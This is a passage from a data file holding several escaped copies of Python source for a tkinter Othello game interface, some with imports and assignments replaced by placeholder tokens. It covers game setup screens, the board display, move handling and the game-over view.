sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\nif __name__ == '__main__':\n Window = Handler()\n", "<import token>\nFONTS = {'large': ('Helvetica', 20), 'medium': ('Helvetica', 16), 'small':\n ('Helvetica', 12)}\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n\n def Replay(self):\n self.GameParams = {}\n del self.Game\n self.Game = None\n\n def Is_Running(self):\n return self.Game.Running\n\n def Start_Game(self):\n self.Game = lgc.Game(**self.GameParams)\n self.Game.Start_Game()\n self.Update_Game()\n self.Window.Pages['Game'].Update_Game_Type()\n\n def Get_Current_Player(self) ->str:\n if self.Game.Running:\n if self.Game.Current_Player == 'B':\n return 'black'\n else:\n return 'white'\n else:\n return 'None'\n\n def Get_Game_Type(self) ->str:\n g = self.Game.Game_Type\n if g == 1:\n return 'SIMPLE'\n else:\n return 'FULL'\n\n def Get_Score(self) ->tuple:\n s = self.Game.Get_Discs()\n return s[0], s[1]\n\n def Move(self, x: int, y: int) ->bool:\n complete = self.Game.Next_Move(x, y)\n if complete:\n self.Update_Game()\n self.Game_Complete_Check()\n return True\n self.Update_Game()\n self.Game_Complete_Check()\n return False\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n\n def Game_Complete_Check(self):\n if self.Is_Running() == False:\n self.Window.showPage('Postgame')\n self.Window.Pages['Postgame'].Update()\n\n def Update_Game(self):\n self.Window.Pages['Game'].Full_Update()\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget in self.Board_Display.winfo_children():\n widget.destroy()\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n col = None\n place_col = self.controller.Handler.Game.Board[y][x]\n if place_col == 'B':\n col = 'black'\n elif place_col == 'W':\n col = 'white'\n disc = wg.Disc(self.Board_Display, self.controller, col=col,\n diameter=50)\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Update(self):\n winner, scores = self.controller.Handler.Get_Winner()\n if winner.lower() == 'b':\n winner = 'black-discs'\n elif winner.lower() == 'w':\n winner = 'white-discs'\n else:\n winner == 'no one'\n self.Winner.configure(text='The winner is ' + winner)\n self.Score.configure(text='Black: {0!s} | {1!s}:White'.format(\n scores[0], scores[1]))\n self.Update_Board()\n\n\nif __name__ == '__main__':\n Window = Handler()\n", "<import token>\n<assignment token>\n\n\nclass Handler:\n\n def __init__(self):\n self.Game = None\n self.GameParams = {}\n self.Window = Window(self)\n self.Window.mainloop()\n\n def Replay(self):\n self.GameParams = {}\n del self.Game\n self.Game = None\n\n def Is_Running(self):\n return self.Game.Running\n\n def Start_Game(self):\n self.Game = lgc.Game(**self.GameParams)\n self.Game.Start_Game()\n self.Update_Game()\n self.Window.Pages['Game'].Update_Game_Type()\n\n def Get_Current_Player(self) ->str:\n if self.Game.Running:\n if self.Game.Current_Player == 'B':\n return 'black'\n else:\n return 'white'\n else:\n return 'None'\n\n def Get_Game_Type(self) ->str:\n g = self.Game.Game_Type\n if g == 1:\n return 'SIMPLE'\n else:\n return 'FULL'\n\n def Get_Score(self) ->tuple:\n s = self.Game.Get_Discs()\n return s[0], s[1]\n\n def Move(self, x: int, y: int) ->bool:\n complete = self.Game.Next_Move(x, y)\n if complete:\n self.Update_Game()\n self.Game_Complete_Check()\n return True\n self.Update_Game()\n self.Game_Complete_Check()\n return False\n\n def Get_Winner(self) ->tuple:\n return self.Game.Check_Winner()\n\n def Game_Complete_Check(self):\n if self.Is_Running() == False:\n self.Window.showPage('Postgame')\n self.Window.Pages['Postgame'].Update()\n\n def Update_Game(self):\n self.Window.Pages['Game'].Full_Update()\n\n\nclass Window(tk.Tk):\n\n def __init__(self, controller, *args, **kwargs):\n tk.Tk.__init__(self, *args, **kwargs)\n self.Handler = controller\n self.title('Othello')\n try:\n self.iconbitmap('Icon.ico')\n except:\n pass\n self.minsize(600, 600)\n self.container = tk.Frame(self)\n self.container.pack(side='top', fill='both', expand=True)\n self.container.grid_rowconfigure(0, weight=1)\n self.container.grid_columnconfigure(0, weight=1)\n self.Pages = {}\n for page in (Pregame, Custom_Board, Game, Postgame):\n new = page(self.container, self)\n self.Pages[page.FrameName] = new\n new.grid(row=0, column=0, sticky='nsew')\n self.showPage('Pregame')\n\n def showPage(self, pagename: str):\n page = self.Pages[pagename]\n page.tkraise()\n\n def Begin_Game(self):\n self.Handler.Start_Game()\n\n def Get_Current_Player(self) ->str:\n return self.Handler.Get_Current_Player()\n\n def Replay(self):\n self.Pages['Pregame'].__GUI_Reset__()\n self.Pages['Game'].Reset_Game()\n self.Handler.Replay()\n self.showPage('Pregame')\n\n\nclass Pregame(tk.Frame):\n FrameName = 'Pregame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.set_vals = []\n self.__GUI_Reset__()\n\n def __GUI_Reset__(self):\n for widget in self.winfo_children():\n widget.destroy()\n tk.Label(self, text='Otello', font=FONTS['large'], bg='white').pack(\n side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n rule_set_frame = tk.Frame(self, bg='white')\n rule_set_frame.pack(pady=10)\n self.rs_label = tk.Label(rule_set_frame, text='Rule Set', font=\n FONTS['medium'], bg='white')\n self.rs_label.pack(side='top')\n self.full_btn = tk.Button(rule_set_frame, text='FULL', font=FONTS[\n 'medium'], bg='#bbbbbb', command=lambda : self.Select_Rule_Set(\n 'full'))\n self.full_btn.pack()\n self.simple_btn = tk.Button(rule_set_frame, text='SIMPLE', font=\n FONTS['medium'], bg='#bbbbbb', command=lambda : self.\n Select_Rule_Set('simple'))\n self.simple_btn.pack()\n row_frame = tk.Frame(self, bg='white')\n row_frame.pack(pady=10)\n self.row_label = tk.Label(row_frame, text='Board Rows', font=FONTS[\n 'medium'], bg='white')\n self.row_label.grid(row=0, column=0, columnspan=7)\n self.Rows_Buttons = []\n place = 0\n for rows in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(row_frame, text=str(rows), font=FONTS['small'],\n bg='#bbbbbb', command=lambda rows=rows: self.Select_Rows(rows))\n x.grid(row=1, column=place)\n self.Rows_Buttons.append(x)\n place += 1\n col_frame = tk.Frame(self, bg='white')\n col_frame.pack(pady=10)\n self.col_label = tk.Label(col_frame, text='Board Columns', font=\n FONTS['medium'], bg='white')\n self.col_label.grid(row=0, column=0, columnspan=7)\n self.Cols_Buttons = []\n place = 0\n for cols in [4, 6, 8, 10, 12, 14, 16]:\n x = tk.Button(col_frame, text=str(cols), font=FONTS['small'],\n bg='#bbbbbb', command=lambda cols=cols: self.Select_Cols(cols))\n x.grid(row=1, column=place)\n self.Cols_Buttons.append(x)\n place += 1\n first_move_frame = tk.Frame(self, bg='white')\n first_move_frame.pack(pady=10)\n self.first_move_label = tk.Label(first_move_frame, text=\n 'First to move', bg='white', font=FONTS['medium'])\n self.first_move_label.grid(row=0, column=0, columnspan=2)\n self.black_btn = tk.Button(first_move_frame, text='Black', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('black'))\n self.black_btn.grid(row=1, column=0)\n self.white_btn = tk.Button(first_move_frame, text='White', bg=\n '#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_First_Move('white'))\n self.white_btn.grid(row=1, column=1)\n condition_frame = tk.Frame(self, bg='white')\n condition_frame.pack(pady=10)\n self.condition_label = tk.Label(condition_frame, text=\n 'The winner is, the player with..', bg='white', font=FONTS[\n 'medium'])\n self.condition_label.grid(row=0, column=0, columnspan=2)\n self.greater_score = tk.Button(condition_frame, text='more discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('>'))\n self.greater_score.grid(row=1, column=0)\n self.lesser_score = tk.Button(condition_frame, text='less discs.',\n bg='#bbbbbb', font=FONTS['medium'], command=lambda : self.\n Select_Condition('<'))\n self.lesser_score.grid(row=1, column=1)\n self.Start_Game_Btn = tk.Button(self, text='Start', bg='#ff2222',\n activebackground='#992222', font=FONTS['medium'])\n self.Start_Game_Btn.pack(side='bottom')\n\n def Select_Rule_Set(self, _set: str):\n if _set == 'simple':\n self.controller.Handler.GameParams['game_type'] = 1\n else:\n self.controller.Handler.GameParams['game_type'] = 2\n self.full_btn.destroy()\n self.simple_btn.destroy()\n self.rs_label.configure(text='Rule Set: ' + _set.upper())\n self.set_vals.append('rules')\n self.Check_Can_Start()\n\n def Select_Rows(self, rows: int):\n self.controller.Handler.GameParams['y_size'] = rows\n for button in self.Rows_Buttons:\n button.destroy()\n self.row_label.configure(text='Board Rows: ' + str(rows))\n self.set_vals.append('rows')\n self.Check_Can_Start()\n\n def Select_Cols(self, cols: int):\n self.controller.Handler.GameParams['x_size'] = cols\n for button in self.Cols_Buttons:\n button.destroy()\n self.col_label.configure(text='Board Columns: ' + str(cols))\n self.set_vals.append('cols')\n self.Check_Can_Start()\n\n def Select_First_Move(self, mover: str):\n if mover == 'black':\n self.controller.Handler.GameParams['first_move'] = 'B'\n else:\n self.controller.Handler.GameParams['first_move'] = 'W'\n self.black_btn.destroy()\n self.white_btn.destroy()\n self.first_move_label.configure(text='First to move: ' + mover)\n self.set_vals.append('move')\n self.Check_Can_Start()\n\n def Select_Condition(self, condition: str):\n self.controller.Handler.GameParams['game_winner'] = condition\n if condition == '>':\n self.condition_label.configure(text=\n 'The winner is, the player with more discs.')\n else:\n self.condition_label.configure(text=\n 'The winner is, the player with less discs.')\n self.lesser_score.destroy()\n self.greater_score.destroy()\n self.set_vals.append('win')\n self.Check_Can_Start()\n\n def Check_Can_Start(self):\n if ('rules' in self.set_vals and 'rows' in self.set_vals and 'cols' in\n self.set_vals and 'move' in self.set_vals and 'win' in self.\n set_vals):\n self.Start_Game_Btn.configure(bg='#22ff22', activebackground=\n '#229922', command=lambda : self.Start_Custom_Board())\n\n def Start_Custom_Board(self):\n self.controller.Pages['Setup_Board'].Setup_Board()\n self.controller.showPage('Setup_Board')\n self.controller.Pages['Setup_Board'].Instructions_Display()\n\n\nclass Custom_Board(tk.Frame):\n FrameName = 'Setup_Board'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title_Frame = tk.Frame(self, bg='white')\n self.Title_Frame.pack(side='top', fill='x')\n tk.Label(self.Title_Frame, text='Create Custom Board', bg='white',\n font=FONTS['medium']).pack(side='left')\n start = tk.Button(self.Title_Frame, text='Play', bg='#22ff22',\n activebackground='#229922', font=FONTS['medium'], command=lambda :\n self.Start())\n start.pack(side='right')\n self.Use_Board = tk.IntVar()\n Use_Board = tk.Checkbutton(self.Title_Frame, text=\n 'Use custom board', font=FONTS['medium'], bg='white',\n activebackground='white', var=self.Use_Board, onvalue=1, offvalue=0\n )\n Use_Board.pack(side='right', padx=10)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def Setup_Board(self):\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n self.Board = []\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, mode='setup')\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n\n def Parse_Board(self) ->list:\n new_board = []\n for row in self.Board:\n new_row = []\n for disc in row:\n if disc.Current_Color == 'white':\n new_row.append('W')\n elif disc.Current_Color == 'black':\n new_row.append('B')\n else:\n new_row.append(None)\n new_board.append(new_row)\n return new_board\n\n def Instructions_Display(self):\n showinfo('How to use',\n 'Click on a tile to cycle between white, black or empty. Check the \"Use Custom Board\" box to use this board!'\n )\n\n def Start(self):\n if self.Use_Board.get():\n self.controller.Handler.GameParams['board'] = self.Parse_Board()\n self.controller.Begin_Game()\n self.controller.Pages['Game'].__GUI_init__()\n self.controller.Pages['Game'].Update_Board()\n self.controller.showPage('Game')\n\n\nclass Game(tk.Frame):\n FrameName = 'Game'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Status_Bar = tk.Frame(self, bg='white')\n self.Status_Bar.pack(side='top', fill='x')\n self.Status_Bar.grid_columnconfigure(0, weight=1)\n self.Status_Bar.grid_columnconfigure(1, weight=1)\n self.Status_Bar.grid_columnconfigure(2, weight=1)\n self.Status_Bar.grid_rowconfigure(0, weight=1)\n self.Current_Player = tk.Label(self.Status_Bar, text='None', bg=\n 'white', font=FONTS['medium'])\n self.Current_Player.grid(row=0, column=0)\n self.Game_Type = tk.Label(self.Status_Bar, text='FULL', bg='white',\n font=FONTS['medium'])\n self.Game_Type.grid(row=0, column=1)\n self.Score = tk.Label(self.Status_Bar, text='Black: 2 | 2:White',\n bg='white', font=FONTS['medium'])\n self.Score.grid(row=0, column=2)\n self.Board_Area = tk.Frame(self, bg='#009900')\n self.Board_Area.pack(side='top', fill='both', expand=True)\n self.Board = []\n\n def __GUI_init__(self):\n for y in range(self.controller.Handler.GameParams['y_size']):\n row = []\n for x in range(self.controller.Handler.GameParams['x_size']):\n height = self.Board_Area.winfo_height()\n width = self.Board_Area.winfo_width()\n if height > width:\n diameter = width / self.controller.Handler.GameParams[\n 'x_size']\n else:\n diameter = height / self.controller.Handler.GameParams[\n 'y_size']\n self.Board_Area.grid_columnconfigure(x, weight=1)\n self.Board_Area.grid_rowconfigure(y, weight=1)\n disc = wg.Disc(self.Board_Area, self.controller, diameter=\n diameter, command=lambda x=x, y=y: self.Disc_Function(x, y)\n )\n disc.grid(row=y, column=x, sticky='nsew')\n row.append(disc)\n self.Board.append(row)\n self.Update_Board()\n\n def Reset_Game(self):\n self.Board = []\n for widget in self.Board_Area.winfo_children():\n widget.destroy()\n\n def Disc_Function(self, x: int, y: int):\n if not self.controller.Handler.Move(x + 1, y + 1):\n self.Invalid_Move()\n\n def Invalid_Move(self):\n showerror('Invalid Move', 'You cannot move there!')\n\n def Update_Board(self):\n for y in range(len(self.Board)):\n for x in range(len(self.Board[y])):\n game_piece = self.controller.Handler.Game.Board[y][x]\n if game_piece == None:\n pass\n elif game_piece == 'B':\n if self.Board[y][x].Current_Color != 'black':\n self.Board[y][x].Set_Piece_Color('black')\n elif game_piece == 'W':\n if self.Board[y][x].Current_Color != 'white':\n self.Board[y][x].Set_Piece_Color('white')\n\n def Update_Current_Player(self):\n self.Current_Player.config(text='Turn: ' + self.controller.\n Get_Current_Player())\n\n def Update_Game_Type(self):\n g_type = self.controller.Handler.Get_Game_Type()\n self.Game_Type.configure(text='Rules: ' + g_type)\n\n def Update_Score(self):\n b, w = self.controller.Handler.Get_Score()\n self.Score.configure(text='Black: {0!s} | {1!s} :White'.format(b, w))\n\n def Full_Update(self):\n self.Update_Score()\n self.Update_Current_Player()\n self.Update_Board()\n\n\nclass Postgame(tk.Frame):\n FrameName = 'Postgame'\n\n def __init__(self, parent, controller):\n tk.Frame.__init__(self, parent)\n self.controller = controller\n self.configure(bg='white')\n self.Title = tk.Label(self, text='Game Over!', bg='white', font=\n FONTS['large'])\n self.Title.pack(side='top')\n Separator(self, orient='horizontal').pack(side='top', fill='x', padx=10\n )\n self.Winner = tk.Label(self, text='The winner is black-discs.', bg=\n 'white', font=FONTS['medium'])\n self.Winner.pack(side='top')\n self.Buttons = tk.Frame(self, bg='white')\n self.Buttons.pack()\n Replay = tk.Button(self.Buttons, text='Replay', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Replay())\n Replay.grid(row=0, column=0)\n Quit = tk.Button(self.Buttons, text='Quit', bg='#bbbbbb', font=\n FONTS['medium'], command=lambda : self.Quit())\n Quit.grid(row=0, column=1)\n self.Board_Area = tk.Frame(self, bg='white')\n self.Board_Area.pack(side='bottom')\n self.Score = tk.Label(self.Board_Area, text='', bg='white', font=\n FONTS['medium'])\n self.Score.pack()\n self.Board_Display = tk.Frame(self.Board_Area, bg='green')\n self.Board_Display.pack()\n self.Board = []\n\n def Replay(self):\n self.controller.Replay()\n\n def Quit(self):\n self.controller.destroy()\n exit()\n\n def Update_Board(self):\n for widget 